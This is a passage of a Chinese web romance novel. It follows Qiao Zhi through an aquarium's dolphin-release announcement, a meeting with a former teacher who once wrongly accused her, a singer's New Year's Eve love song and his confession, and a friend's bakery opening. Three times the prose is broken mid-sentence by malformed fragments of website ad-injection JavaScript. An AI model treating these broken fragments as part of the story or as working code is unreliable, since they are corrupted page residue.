周一上午,江临市海洋馆官方帐号上发布了一条正式声明。 “经专家学者及有关部门研究讨论决定,本馆计划对馆内符合条件的海豚进行为期一年的野外适应性训练。感谢社会各界的关注,本馆将定期更新训练情况,争取让海豚们早日回归野生环境,享受广阔的海洋。此外,我们接受合理的批评与建议,今后将改善运营模式,努力打造一片科教与生态保护的净土。” 此番声明一出,评论区当即被刷屏。 【今天最好的消息!!祝一切顺利!】 【这行动力也太惊人了吧?当初东州的放生计划讨论了好几个月,江临这次从事发到正式声明才一个多月吧。】 【你看联合单位里东州海洋天地,肯定是借鉴前人的方案了。】 【不管怎么样,该夸!今天就不骂你了。】 虽然有少许质疑声,但大部分都是夸赞的声音。 另一边的温言提前就从乔之这儿得知了这个好消息,待海洋馆发布声明后便顺势转发到了自己的主页。 作为最早一批抵制动物表演的博主,温言在这次的事件中也收获了大量好评。 【温言:学妹,我这边有个媒体朋友想采访你。他们挺靠谱的,我觉得可以考虑考虑,就是看你怎么想。】 乔之这才想起自己的微信里还躺着好几条好友申请。 眼下海豚放生已经步入正轨,而媒体宣传可以把抵制动物表演的观念更大范围地传播出去,所以她这次没拒绝:【我没问题,听你的安排。】 没多久,海洋馆又放出了一个全新的宣传片。这正是何舟泽上周刚拍的那个。 这支宣传片的内容看上去是呼吁保护野生动物,宣扬海洋馆的生态使命,实际上其中暗中宣传了很多新的业务方向。 比如为期一天的儿童科普游学:视频中的何舟泽牵着一个小女孩,陪她玩拼贴画、辨别海洋生物;也有定制的情侣打卡活动:好几个男友视角一闪而过,让观众仿佛真的和何舟泽一起参与了浪漫合照等互动游戏。 乔之看到这些内容的时候,心里惊叹海洋馆的策划部门真是高手。她当时提供的方案只是寒暑假的长期游学营,没想到他们干脆把其中一些活动拆分,变成了日常项目。 的确,寒暑假的毕竟只占一年中的三个月,海洋馆必须要有更持久稳定的营收项目。 这支宣传视频的效果立竿见影,评论区比刚刚更热闹了。 【请问20岁的儿童可以报名周末游学活动吗?】 【这个情侣打卡活动是和何舟泽一起体验吗?没别的意思,我就是帮朋友问一下[星星眼]】 【什么时候出预约通道啊?我必冲!!!】 【策划真是鬼才啊……建议广大海洋馆都来抄作业。】 乔之顺便看了眼海洋馆的门票余量。才这么一会儿功夫,接下来一周的门票都售罄了,比取消表演前还要火爆。借着何舟泽的名气,刚才那条放生海豚的声明也一同被顶上了热搜,关注动物表演的人越来越多。 她松了口气,看来他们这回因祸得福了。 她想了想,翻出手机给何舟泽发了一条感谢的微信:【谢谢你录的视频,现在有越来越多人关注到这个事情了[感恩.jpg]】 过了很久,对面才回了一句:【那过段时间再请我吃一顿吧!这次真的要吃到你亲手做的饭菜。】 一点都没客气,仿佛在字里行间就能瞧见他飞扬的眉头。 何舟泽这段时间都不在江临。作为一个当红歌手,他的行程自然多到排不下,三天两头就要换地方工作。前些日子若不是在录制江临台的《旷野之声》,他也不会这么频繁地往这边跑。 没见他的这半个月里,乔之莫名有点失落,所以见他提了这么个要求,爽快地答应了:【好啊。你什么时候来江临?】 他这次回得很快:【马上就回来了!今年我会在江临台录跨年晚会。】 跨年夜——也就是三十一号,距今不到一周的时间。 乔之的心里竟然抑制不住高兴。 过了一会儿,对面又发来了一张照片。 【H:你知道我今天找到什么了吗?[图片]】 【H:是你送我的小海豚热缩片!我以为弄丢了,没想到在一件旧外套的口袋里。】 乔之看见一只灰蓝色的海豚静静躺在何舟泽的手心。海豚的尾巴处打了一个小小的圆孔,过去连了一根细细的链子,常被他挂在书包上。 这枚热缩片的颜色已经脱落得斑驳,足以见得其年岁。 【Jo:你怎么还留着这个?】 【H:你亲手做的礼物,我当然要好好珍惜。】 这话看得乔之一阵羞赧。 其实这只是她在实验课上随手制作的样品,转送给何舟泽后竟被保留了这么多年。 【H:不过它还是掉色了[叹气]。我还有机会得到一枚乔老师亲手制作的最新作品吗?】 这句话后面连跟了好几个可怜的表情包。 乔之笑了出来,回道:【看你表现吧。】 - 隔天一早,温言带着她的媒体朋友来江大找乔之。 今天天气很好,阳光明媚而不刺眼。 乔之顺手拉开窗帘,柔和的光线从窗外透了进来,同时有一行人也涌进了这间不大的办公室。 来人是一家新闻周刊的记者,擅长人物专访和热点追踪。三十出头的年纪,和温言算是老同行。 他们打算出一期动物表演的专题,这次采访的主题和海洋生物保护以及动物表演有关,记者连提了几个问题,乔之都给了很专业的看法。 他们原本打算将此次采访作为专题报道的一小部分,但没想到却收获颇多。 记者郑重地道谢:“乔老师,谢谢您接受我的采访,您的见解很独到。” 乔之很喜欢她提的问题,也回夸了一句:“你的问题也很有启发性!” 两人顺势聊了几句,一来二去就加上了微信。 等送走了人,温言才得空在乔之的办公室转转。 “你这个办公室和新闻系的也没什么两样嘛。”她在屋里打转了一圈,拿起桌上的茶杯评价道,“刚刚我就说这杯子怎么那么眼熟,简直和我本科导师一模一样!” 乔之笑着解释道:“这是学校发的教师节慰问品,有些老 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 教师那儿都有一柜子同样式的。” “让我拍个照留念一下。”温言说着就打开了手机。 乔之道:“你要是喜欢,我可以送给你。”反正以后还会再发。 温言刚想说“不用”,手却不小心滑进了微博页面,她见热搜上刚好挂了个熟悉的名字:“何舟泽怎么天天住热搜上?这又是个什么新闻……” 她顺手点进去。 完整的热搜词条是“何舟泽早年情歌现场”,第一条附带了一个视频。 温言莫名觉得眼熟,皱了皱眉:“什么东西?”然后就点开了。 温言的手机没静音,只听到视频开头是一阵嘈杂声。 她刚准备关掉,却听前奏响起,乔之猛地朝这边看了过来:“等等……这是什么视频?” 温言的手一抖,不敢置信地和乔之对视了一眼。 乔之紧盯着手机屏幕,看见视频里的少年拿着话筒说:“下面这首歌,是我的一首原创,名字是《不唱情歌》。” 他那时的声音还略显青涩,却让乔之仿佛一瞬间就回到了从前——这是大一那年的草坪音乐节。 两人沉默地看完了整个视频。 温言当时就在现场,何舟泽上台前千叮咛万嘱咐地请求她把乔之按时推到了最前排。好在她最后不负所望,成功地让乔之成为了那首歌的女主角。 她咋舌道:“到底是谁找出来的古早视频啊?这都快十年了吧……” 这个视频的画质模糊,镜头也不太稳定,但拍摄者偏偏站了个绝佳的位置,将舞台上的光景拍得一清二楚。 乔之甚至能看得出,何舟泽的视线从未离开过某一个方向。 那天他唱完歌,清清楚楚地说:“这首歌,送给我爱的人。” 所有细节——昏暗的天色、拥挤的人群、他盛满爱意的眼神和她震天响的心跳——她全都记得。 这可是他送给她的第一首情歌。 这个视频没有录到最后的告白词,但评论区已然炸开了锅。 【救命啊啊啊啊!这居然是hzz!他居然会唱情歌!!!】 【十年前写的歌就这么好了吗……我哭死,这到底是哪个神仙翻出来的视频啊。】 【好帅……青春男大版hzz好像更帅了……】 【@何舟泽哥我建议你重制这首歌,然后放进新专[期待][期待]】 也有人在他的眼神中瞧出了端倪,大胆开麦。 【?为什么好像是一直在对着台下的某个人唱】 【不是有传言他大学谈过一个女朋友嘛,这哥是不是只有恋爱了才会唱情歌啊??】 【如果真是这样,那我同意你谈恋爱[哭泣]快三十了,也该谈一谈了[哭泣]】 【咱也不是爱豆,谈恋爱不违法。我没事,真的[大哭][大哭]】 温言担心乔之这个前女友感到尴尬,正准备开口宽慰几句,却见她完全不是尴尬的模样。 乔之微怔住了,手指微微颤抖着,脸上的神情既有怀念又有遗憾,还带着一点感动,叫人摸不着头脑。 但不知怎么的,温言作为新闻记者的敏锐雷达忽然启动了。 她在心里震惊地想:他们俩不会要破镜重圆了吧?! 59.第五十九章 三十一号当天,何舟泽忙完其他工作后下午才到江临彩排。 他一下飞机就给乔之发了条微信,动作自然好像已经报备过千万次。 【H:你今天有什么安排吗?学校应该放假了吧。】 【Jo:下午有份稿子要看,晚点会和同事一起吃饭。】 何舟泽在对话框里删了又打,迟迟找不到一个合适的说辞。 乔之大概是看他反复输入了很久,又发过来一句:【怎么了?】 乔之皱皱眉,不知道何舟泽在那头捣鼓着什么。他向来是有话直说,犹犹豫豫的时候八成都与她有关。但是他今晚要录晚会,怎么也不可能让她立刻就兑现承诺。 又等了好一会儿,他才终于结束漫长的斟酌:【今晚你要是有空的话,可以看一下我的舞台。大概在十点左右。】 末了,像是强调一般,又加了三个字:【是直播。】 乔之仿佛能看见他在她面前摇尾巴,一双渴求的眼睛亮晶晶的。 她微扬了扬嘴角,回复:【你还缺我一个观众吗?】 这话把何舟泽的心提到了嗓子眼,却不想她很快又来了一句:【我会看的。】 他心里的重石又放了下去。 - 晚上乔之和几个同事本来准备出去吃火锅,但跨年夜的生意实在太火爆,他们到处打电话,但评分靠前的餐厅一个也约不上。 最后海洋地质所的徐沐拍板道:“要不咱们别出去吃了。我家里刚好有个鸳鸯锅,我们等会儿去超市买点食材,在我家吃。” 徐沐也住教职工公寓,和乔之不是一幢楼,但离学校也很近。 她这么一说,所有人都同意了。毕竟有对象、有家庭的都不在,一起跨年的只有他们这三五个单身人士,费不了多大事。 到底是搞科研的,几人凑一块把要买的火锅食材分门别类,各领了一个部分,安排得井井有条。他们一到超市就各自分道扬镳了。 乔之领到了买蔬菜的任务。 挨着元旦假期,超市里的人流量也不遑多让,到这个点更是摩肩接踵。好在这家超市够大,库存充足,乔之花了点时间还是将清单上的菜差不多找齐了。 最后还差个土豆。 乔之挑挑拣拣,最后看中了一个个头适中但圆润饱满的土豆,正准备拿起,却跟一个人的手撞到了一起——对方也想拿这块。 那个人的手速比她快,乔之是后来者,所以她说了声“抱歉”就准备物色一个新的,光顾着低头挑选。 “……乔之?”没想到对方叫出了她的名字。 乔之抬头,看见了一个带细边眼镜的中年女人。她看起来不过五十岁上下的年纪,但头发却花白了。 她的瞳孔微微一缩,惊讶道:“李老师?” 这是她高一时的班主任李春燕,教数学。 李春燕看清了她的脸,也很激动:“真是你呀?你现在和以前真是不一样了,我刚刚差点不敢认你。” 她说着,又把刚刚两人共同看中的土豆塞进乔之的购物袋里:“这个给你吧,我已经挑了不少了。” 乔之没推脱,小声地道了谢。 李春燕继续说道:“听说你现在在江大当老师是吧?真厉害呀,我现在班里都不知道有几个能上江大呢。” 乔之诧异地动了动眉。 她就读的高中虽然排不上第一梯队,但也是重点,又有地域优势。她上学那会儿,一年能上江大的少说也有三四十。 李春燕像是看出了她的疑惑,解释说:“这几年学校都把我安排给普通班了,说是我会带班。哎呀,其实以前是你们听话,哪是我的功劳啊!” 她这话说得很谦虚。 李春燕当班主任确实很有一套,教育学生以严厉著称,以往的学生成绩都不错。乔之高一时在她的班里,分科后她选了全理,李春燕带了另一个史地组合的重点班。 她很会抓成绩,但在乔之这儿不算是好老师。 不过乔之还是像个成年人似的客套道:“李老师您很厉害。” 这话引得李春燕一阵呵呵笑。 乔之正准备寻个话头跟她告别,却又见她为难地开口:“说起来……有件事我一直放心上忘不掉,感觉很对不起你。” 乔之心想,这又是哪一出? 然后她听到李春燕说:“高一有一次我不是误会你抄作业嘛?现在想想真是口不择言,还好你后面理科学得好,现在又在江大当老师了……不然我真是后悔一辈子。” 那是高一上学期的事情了。 入学后第一次大考,乔之来例假。考数学的时候,她的肚子痛得受不了,整个脑子都是空白的,所以就考出了高中时代第一个、也是唯一一个不及格。 八十八分——她现在都记得这个分数。这个数字好像在嘲讽她,这辈子你就和数学说“88”吧。 李春燕是他们班的数学老师,很看重学科排名。出成绩的那个晚自习,她一个接一个地把末尾几个不及格的学生叫到讲台,苦心劝导大家“不懂就问”“多刷题”。 然而等轮到乔之时,她的脸上先是露出了诧异,然后又是变幻莫测的神情:“乔之?你数学怎么会不及格?” 她在不经意间抬高了声音,引得台下其他同学都看了过来。 乔之想开口解释,但班上坐着那么多同学,全都在正悄悄打量着她。在全班面前被叫上讲台本就是一件难为情的事情,更何况她那会儿年纪小,不好意思把痛经说出口,只能咬着唇沉默。 于是李春燕开始自我发挥:“我看你平时作业还有小测都很好啊,该不会是抄的吧……” 听到这话,乔之怔了怔,半天就憋出了一个“没有”。 她的反应让李春燕更加验证了心中的猜想,再一琢磨,数学课代表不就坐乔之边上吗?那作业和小测的答案可是唾手可得…… 所以她只能叹了口气,想将眼前的女孩拉回正途:“唉,抄作业是学不到知识的。你以后有不懂的直接来问老师。” “抄袭”的罪名被无故按在了她头上,乔之仿佛被羞辱般涨红了脸,大声说了句:“老师,我真的没有。” 可是李春燕似乎并不在意,挥挥手就让她回座位,忙着教育下一个学生。 至今乔之都忘不了那天的委屈和留下的心理阴影。后来她咬着牙拼命学,数学连着几次都考了班上第一。在学选考和高考之类的重要考试前,她甚至会提前吃药避开经期。 李春燕渐渐把她当作心头肉,再也没说过“抄袭”或是“作弊”之类的话。李春燕现在夸她理科学得好,似乎是忘了她曾经劝过乔之选文史套餐。 时间到了高一下学期,他们就要准备选科分班。新高考模式下,每个人面对的选择比以往更多,不过大多数人都会选择自己更擅长的。 乔之的各科成绩都很平均,所以她在选科前犹豫了很久,最后报了物化生这个全理科套餐。 那天,李春燕又把她叫到了办公室。 “乔之,你怎么报了物化生?” 乔之不明白她的意思,只说自己还没想好大学要选什么专业,所以想预留更多退路。毕竟物化生是专业选择最多的一个套餐。 李春燕听后,叹道:“哎呀,但是成绩不好的话也白搭!成绩好才有选择。我跟你说呀,女生学理科后劲不足。你看你政史地三门的成绩比物理稳定,我建议你把物理换了,之后上好大学更有把握……” 乔之不理解,为什么女生学理科后劲不足? 李春燕一副为她考虑的样子,但乔之真的烦透了这样的说辞。班上有些不学无术的男生经常叫嚷着“我只是没好好学,不然成绩肯定比xx好”,乔之每回听见都觉得他们在放屁。 于是她冷冷道:“李老师,高二高三年级的第一名都是选了物理的学姐。我看她们的后劲挺足的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。” 她的语气不算好,震得李春燕一时说不出话。 后来她再也没私下找过乔之,到分班后,两人更是没了交集。 高中那会儿,乔之每每考上年级前十的时候,就会想:李老师一定会看见吧?那些说女生没后劲的人一定都能看见吧?女生也能学好数学,也有资格选理科。 但时隔多年,李春燕忽然提起这件事还是让乔之有些猝不及防。 说真的,若不是那两次刺激,她或许不会学得那么拼。某种意义上来说还要谢谢李春燕曾经误解她、看轻她。 乔之笑说:“这么多年了,我都已经忘了。” 李春燕上了年纪,情绪倒比以前更敏感了。她忍住泪花,又提了件事:“过段时间选考结束,你有没有空回学校做个演讲?我想请你给学弟学妹们当个榜样。” 乔之一愣,没答应也没说拒绝:“我再看看吧,学期末事情确实有点多。” 最后李春燕拉她加了个微信才放人走。 这么耽误了一会儿,等乔之结完账去门口集合点的时候,其他人都已经在了。 徐沐玩笑道:“我们还以为你舍不得出来了,正准备给你打电话呢!” 乔之应道:“不好意思,刚刚碰见个熟人,随便聊了两句。” 转眼天色就暗了下来,一行人赶紧到徐沐家准备起来。 他们准备了麻辣和番茄两个锅底,鸳鸯锅的两侧都冒着红色的泡泡。一缕缕白雾从锅中飘出来,整个屋子都是香味。 徐沐开了个电视,问道:“我充了好几个会员,你们有什么想看的?” 一个男老师举手要看一部新上的悬疑片,但立刻被人否决了:“吃饭的时候哪有脑子看这个。” 另一个女老师提议道:“干脆就看跨年晚会吧,听听歌看看舞蹈。江临台今晚刚好有个我喜欢的女明星。” 大家讨论不出个结果,最后都同意了。反正就当个背景音,看什么并不重要。 乔之答应了何舟泽要看他直播,本来还准备到点找个借口偷溜,这下反而能光明正大地跟大家一起看了。 今天一起跨年的都是海院的年轻老师,年纪最大的也就三十五,个个都单身。 徐沐一边涮着肉,一边吐槽自己的相亲经历:“上次有人给我介绍了隔壁院校一个教文学的男老师,一开口就是诗词歌赋,跟讲课似的,我差点听睡着。” 有人赞同道:“我说咱搞科研的,真不能也找大学老师。三天两头的就是你住实验室,我跑项目,平时压根儿见不了面。” 这话引得大家纷纷点头。 乔之对这种事情一向不感兴趣,她暂时没有结婚生子的打算,所以也没跟上说几句。 徐沐戳戳她:“乔老师,你有喜欢的类型吗?” 这话问得乔之的动作一顿。 另一个女老师跟着插科打诨:“乔老师的要求肯定高。首先得帅,其次要会照顾人,最好还要聪明、有才华,不能是空花瓶。” “叶老师,我看这是你的要求吧。”徐沐这话引得大家都笑作一团。 乔之缓过神,也跟着笑说:“那我等叶老师给我安排了。” 不动声色地把话题给应付过去了。 长得帅、会照顾人、聪明有才华……这几个关键词一叠加,乔之的脑海里马上就出现了何舟泽的身影,然后她便想起了更多事情。 她想起他说“我可以在身后做你最忠实的影子”;想起他掌心漂动的最爱的紫色水母;想起他写下“何舟泽永远乔之”的纸条;想起他的拥抱和他看向她时的深情眼。 电视中的跨年晚会终于播到了何舟泽的舞台。 乔之看见屏幕左下方的歌曲信息里,他的名字占了好几行。 演唱、作词、作曲……他今晚唱的是《不唱情歌》。 在旧年的最后几个小时里,乔之不得不承认了一件事:她还喜欢何舟泽。 60.第六十章 江临电视台跨年晚会现场。 黑暗寂静的舞台骤然亮起,一个身穿米白色套装的男歌手出现在聚光灯下,所有光芒都将他笼罩。 当那张无可挑剔的脸出现在大屏幕上时,台下瞬间响起了阵阵声浪,无一不在呼喊着何舟泽的名字。 前奏响起,不是任何一首他已公开发布的歌曲。 耳尖的粉丝已经察觉到了一丝不同寻常,不敢置信地捂住嘴。 这是一首舒缓婉转的抒情歌,与何舟泽以往的风格大相径庭。他几乎抛弃了所有歌唱技巧,平铺直叙地将厚重的感情层层堆叠。 “ …… 找到了最后句点, 爱才是真相。 原来情歌不必唱, 你是一切的具象。 …… ” 他那双平素里清冽的眼,如今却泛着秋波,满含深情。字字句句他都唱得清晰,生怕让人忽视了其中暗藏的秘密。 台下的尖叫声几乎已经快控制不住了,谁都能听得出——这是一首情歌,是何舟泽时隔六年才写完的漫长诗篇。 终于有人发现,原来何舟泽的声线最适合唱这样深情动人的情歌。 台上结束表演的人轻咳了一声,眼底是盈盈的笑意。 他说:“新年快乐,希望喜欢。” “何舟泽首唱情歌”几分钟后就冲上了热搜首位,词条后面跟着一个朱红色的“爆”字,相关视频的转载瞬间过万。 【woccccccc!!喜大普奔,hzz唱情歌了!】 【不会真谈恋爱了吧???不会吧???】 【哥你要是早唱情歌应该会更火吧[哭泣][感动]】 评论区很快又涌现出一批如显微镜般细致的观众。 【有一说一,这首歌和前段时间被扒出来的那首远古情歌是不是同一首啊?】 【名字和歌词一样,但曲调有变动。应该是近期有改过。】 【不对……歌词好像也有区别。十年前那首副歌部分是“我想写的诗篇/早已在雨中绽放/原来情歌不必唱/你是爱的具象”,刚唱的这首前两句改成了“找到了最后句点/爱才是真相/原来情歌不必唱/你是一切的具象”。草……怎么感觉更深情了。】 【赌一包辣条,他绝对谈恋爱了……】 随着怀疑的声音越来越大,“何舟泽恋爱”的热搜很快也被顶到了前排,热度与前一个“首唱情歌”的词条不相上下。 这是微博爆炸的一晚,但当事人却从下台后就再也没有露面。 何舟泽一结束舞台就抛下了所有人,偷偷坐上车子离开电视台。这个点守在外面的媒体和粉丝不计其数,风吹草动都能引起很大的关注。 他故意放了个烟雾弹,出去的时候竟没人发现。 “好好好!你就知道让我来收拾烂摊子。”方鸣在电话那头骂骂咧咧。 他的手机都快被打爆了,所有人都来问他何舟泽是否在恋爱。虽然他早有预料,但这比海浪还要汹涌的询问声还是让他倍感头疼。 何舟泽说:“辛苦了,我相信你会解决好的。晚点我会再发个声明。” “你还想干嘛?”方鸣紧张地声音都拔高了,生怕又听到什么惊天动地的消息,“你上次不是说还没和乔老师在一起吗??” 何舟泽笑道:“对啊,我还在努力中。” 方鸣松了口气:“那就好。确定关系后必须第一时间跟我说!” 疑似恋爱和谈了恋爱可完全是两套公关方案,他只准备了前者。 然而他又听见了汽车的鸣笛声,顿时两眼一黑:“你是不是出去找乔老师了?现在盯你的人这么多,你真不怕我被你气死啊——” “不会,没人发现。”何舟泽自信地说,然后他无情地挂断了电话,“我先挂了。祝你新年快乐。” 他继续往某个方向开,心跳不由得也跟着加快了。 - 电视前的乔之在听见前奏响起的瞬间就完全屏蔽了周遭其他人,她的视线再也离不开,直盯着何舟泽不说话。 怪不得他想让她看直播——原来是要让她第一时间就能听见,听见这首跨越了十年的情歌。 他的眼神和当年一样满含爱意,但又更深、更探不清。 “乔老师……?乔之!”徐沐见乔之呆滞住了,出声叫醒她。 她顺便看了眼让乔之失魂落魄的电视,上面正在表演的是当下最火的男歌手何舟泽。 于是她调侃了一句:“乔老师你喜欢何舟泽呀?魂儿都看丢了。” “……什么?”乔之回过神来,听见她这话,登时红了耳根。她生怕被人看出端倪,急忙解释道,“他这首歌挺好听的……” 桌上没人看出她蹩脚的掩饰,只听另一个老师接了句:“确实不错,比刚刚那几首都好听。他现在好火啊,我家小侄女天天把他挂嘴上。” 众人的话题又变成了娱乐圈明星大讨论。 乔之还沉浸刚刚的舞台中。 在意识到自己还喜欢何舟泽后,她既有一种莫名的解脱之感,但又被什么别的东西高高悬起。她的心同时被几种不同的情绪充塞得胀胀的,一时之间辨不清、道不明。 手机屏幕突然亮起,刚才还在电视上的人给她发来了一条消息。 【H:乔乔,我现在在你家楼下,可以见一面吗?】 傍晚那会儿她和他说过,晚上在同住教职工公寓的同事家吃饭。 看见这条消息的刹那间,她纷乱的脑子变成了一片空白。 乔之猛地起身:“抱歉各位,我突然有点急事,可能得马上回家一趟。下次我请大家吃饭。” 大家看她脸上的神情确实着急,只说“那我等你请客”就放她走了。 乔之慌神地走进电梯,在下降的这短短一分钟里,她想尽了等会儿面对何舟泽时的姿态。可是徐沐家就在她家隔壁楼,所以她还没想出个所以然,就看见了他的车停在不远处。 何舟泽似乎在编辑什么,乔之走近时他还在低着头打字。 她下定决心般重重吐了口气,然后敲了敲车窗。 何舟泽没料到她会来得这么快,抬头惊喜道:“快上车吧。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” 乔之一上车,还没来得及没问何舟泽要带她去哪,就看见手机弹了一条消息提示:“您的特别关注@何舟泽发布了一条新微博。” 她下意识点开,然后看见了一条转发。 【@何舟泽:谢谢大家喜欢,这首歌我准备了很多年。//@江临卫视跨年晚会:[视频]终于等到你!何舟泽深情献唱《不唱情歌》……】 紧接着的是他给粉丝的一条回复。 【@何舟泽:还没有。//@今天离开尼姑庵了吗:啊啊啊啊宝贝,告诉妈妈,你是不是谈恋爱了???】 一旁的何舟泽瞥见她手机屏幕里的内容,笑说:“真人都在你面前了,你怎么还看我的微博?” 乔之被他当面点破,有些不好意思地收起手机,移开话题:“……你今晚怎么会唱那首歌?” 何舟泽沉默了,转头启动了车子。 乔之以为他不想回答,却又忽然听到他说:“因为终于又能唱给你听了……这首歌是写给你的。一直都是。” 乔之的心猛跳了一下,思绪更乱了。 她不高明地换了个问题:“……我们现在要去哪?” “等会儿你就知道了。”何舟泽没明说,只管往一个方向开。 他越开越远,眼见着都要开出江临,终于在一处河滩边停下了。 乔之疑惑地跟着下了车,然后就看见了放在一处空地中央的形似烟花的东西。 何舟泽跑过去,转身远远地向她招手,喊道:“乔乔,我请你看一场烟花!” 他的神情很雀跃,像是期待已久。 江临市市区禁烟花已经很多年了,只有周边少数郊区被划进允许范围,而那些地方大多都有人时刻占着。何舟泽费了很大的工夫才找到这么一小块无人之地。 他从口袋里翻出一个打火机,见引线冒起了火花便往乔之身边跑。 乔之问:“你怎么会想要放烟花?” 何舟泽站在她的身侧,面朝着远处缓缓流淌的江水:“你记吗?以前每次跨年,我们都会来江边看烟花。” 乔之点点头。 这是江临市的传统。每到新年的零点,江边都会有人不间断地开始放烟花,断断续续能放到凌晨两三点,以庆祝新一年的到来。 他们过去常常在乐队完成演出后打车到江边,赶个晚场。 几秒以后,天空中接连绽放出灿烂的烟花。 远处看见的人惊讶道:“今天怎么提前开始了?” 此时离新年还有三分钟。 乔之与何舟泽并肩站着,衣袖紧紧相贴。 她微微抬头看向空中的烟花,颜色各异,形状各不相同,但每一朵都盛满何舟泽的心意。她的心跳和焰火声一样剧烈。 何舟泽开始倒计时:“五、四、三、二、一——” “乔之。”他转过头,连名带姓叫得很认真,“我喜欢你,你愿意做我的女朋友吗?” 新年第一秒,乔之看见无数烟花在天际炸开,星星点点地倒映在了他的眼中,盛大而绚烂。他准备的最后一束,在其中最为璀璨。 61.第六十一章 元旦后一天,江临大学的学生结束假期重返课堂。 有心人发现北街新开了一家名叫“Wonderful Bakery”的烘培坊,装潢雅致,店内阵阵飘香。 乔之捧着一束鲜花到店里的时候,姚朔正低头在擦拭货架。 他头也没抬道:“不好意思,今天的面包已经卖完啦。明早九点上新~” “是吗?”乔之佯装要走,“那我只能把这捧花带走咯。” 姚朔这才转过身来,见她手中娇艳的郁金香,连忙道:“今日我翘首盼君,你怎么能走呢!” 乔之将鲜花送到他手上,祝贺道:“开业大吉。” “你这束花真好看。”说话的是夏安语,乔之这才注意到她正窝在柜台后面。她吐槽道,“老姚你开店选什么季节不好,非要是冬天,买花都没什么选择余地。” 姚朔道:“新年新气象嘛!” 乔之在说话的间隙环顾四周,见店里的几个货架都已被扫荡一空,笑说:“这么快就售空了,看来今天的生意不错。” “可不是嘛。”夏安语站起身,顺势伸了个懒腰,“得亏我来得早,能帮他一把。诶,你可别忘了我的劳务费。” 姚朔这家店不大,只在后厨请了个帮工。他原本计划一天上新两到三轮,没想到开业第一天的火爆程度还是超乎了他的想象。这才下午三点多,店里准备好的所有糕点都被一抢而空。 他清理完最后一个货架,直起身子来,应道:“好好好,晚上好好犒劳你一顿。” 听到这话,夏安语毫不客气地开始报菜名。 几人谈笑间,姚朔收拾好了店面,三人一同往店外走。 今天他们约了晚饭,姚朔亲自下厨。 颜叙这几天正好出差不在江临,而何舟泽晚点会直接去姚朔家与众人汇合。 他有个拍摄工作,等到了的时候菜刚好上桌。 夏安语正被姚母拉着一起看电视剧,抬头见何舟泽来,调侃了一句:“哟,挺会挑时间。” “抱歉,工作耽误了一会儿。”何舟泽手上提了个精致的花篮,见搭配就知道价值不菲。 姚母起身来接,看起来心情很好:“小何来了呀!你怎么也带了个花篮,是不是那臭小子要求你们送的?” 姚朔平时除了打游戏没什么别的爱好,他一个人高马大的猛男却很爱摆弄这些花花草草。 “妈!”姚朔远远听见自己母亲的吐槽,辩驳了一句,“咱们好朋友之间根本不用提。这都是默契!” 姚母一边把何舟泽迎进来,一边笑骂道:“我还不知道你!老姚你也赶紧出来,他们几个都等着吃饭呢!” 然后她又对一圈年轻人道:“我们两个老人家就不打扰你们聚餐了。大家吃好喝好,有什么都管姚朔那小子要。” 他们怕自己在场让几个年轻人尴尬,贴心地回避了。 姚朔挥挥手:“你们俩赶紧去吧,等会儿伯母又打电话催了。” 姚朔家的餐厅和客厅是一体的,何舟泽进门没多久就看见了在餐桌边帮忙布置的乔之。 他动作自然地接过乔之手中的碗碟,又见她手轻轻一抖,垂眸道:“你来了啊。” 何舟泽低头看着她:“乔乔,好久不见。” 其实离跨年才过去两天不到,但那晚分别后,两人再也没说过话。 乔之刚想回点什么,这时姚朔正端着最后一盘菜走出来,他诧异道,“你俩跨年那天不是刚见过?” 他怎么记得何舟泽大半夜在群里发了好几张烟花的照片,显然和乔之在一起。 他这话一出,两人的表情都变得有些微妙。 夏安语赶紧打断:“你快闭嘴吧。” 姚朔立马意识到自己问的不是时候,趁着回厨房盛饭的空档,把何舟泽也抓了进来,低声问:“你和乔之还没在一起呢?” 何舟泽苦笑了一下,摇摇头。 那晚,乔之在听到他的表白后当即红了眼眶。他以为自己又自以为是地踩中了她的雷区,却听到她说:“何舟泽,我也喜欢你。” 他的心情瞬间被拔高到了顶峰,想紧紧抱住她。 可是下一秒,乔之字字清晰道:“但是对不起……我还不能和你在一起。” 何舟泽无法形容自己当下的心情,他为她也喜欢他而兴奋,却也为再不能前进一步而沮丧。 他知道,他们之间还有什么东西没有解决。 不过何舟泽在喜欢乔之这件事情上是永远的乐观主义,他可以等待,可以从头再来,只要这条路的终点是她。 所以他轻轻抱住她,认真道:“那你给我一个重新追求的机会好不好?” 乔之停顿了很久,终于回抱住了他。 . 何舟泽自我安慰道:“至少这也算得上是一个小小的突破。” 姚朔看着他,叹了口气,端着饭出去了。 四人坐下来吃饭。姚朔从酒柜里抽出一瓶好酒,轻晃着酒瓶道:“今晚喝点不?” 他环视了一周,先见乔之摇了摇头,又看到何舟泽杯中的温水,可惜道:“你是不是要巡演了?一点都不喝吗?” 何舟泽摇摇头婉拒了。他一向很爱护自己的嗓子,几乎是滴酒不沾,所以多年来才能一直保持最佳状态。 姚朔没强求,道:“那今晚又是我和小夏的双人局。” 不想夏安语伸手给自己拿了瓶可乐,再次给他泼了盆凉水:“我也不喝。明早还要去见客户呢。” 见唯一的酒搭子也不奉陪,姚朔失望地把酒放了回去,道:“那我一个人喝也没劲。” 他仰头嗷嗷了两句:“难道这世上只有我一个自由人了吗?!”说完也愤愤地拉开了一罐可乐。 夏安语举起易拉罐和他轻碰了一下,安慰说:“没事,我就快陪你了。” “你那工作没完没了的,一年都见不着几回。”姚朔显然不信。 没料到夏安语沉默了一瞬,开口道:“我准备辞职了。” 她这话一出,在座所有人都愣住了。 大家都知道夏安语在工作上是个拼命三娘,不然也不可能连升几级,毕业仅五六年后就能接手上亿的单子。她一路高歌猛进,眼下正是事业上升期,忽然说要辞职着实让人震惊。 乔之想到几个月前她说要结婚的事情,手不禁轻颤了一下,问:“……是因为要结婚了吗?” 这个推测合情合理,但她还是问得心惊胆战,生怕听到她不愿相信的事实。 夏安语听到这个问题却是笑了:“哦,我都忘了,上次你不在。” 乔之见她这个反应,一时没明白过来。桌上另外两个人也忍住了没吭声。 紧接着对面那个从学生时代就一直很酷的女人云淡风轻道:“上次录节目前,他被我捉奸在床。我们现在已经分手了。” 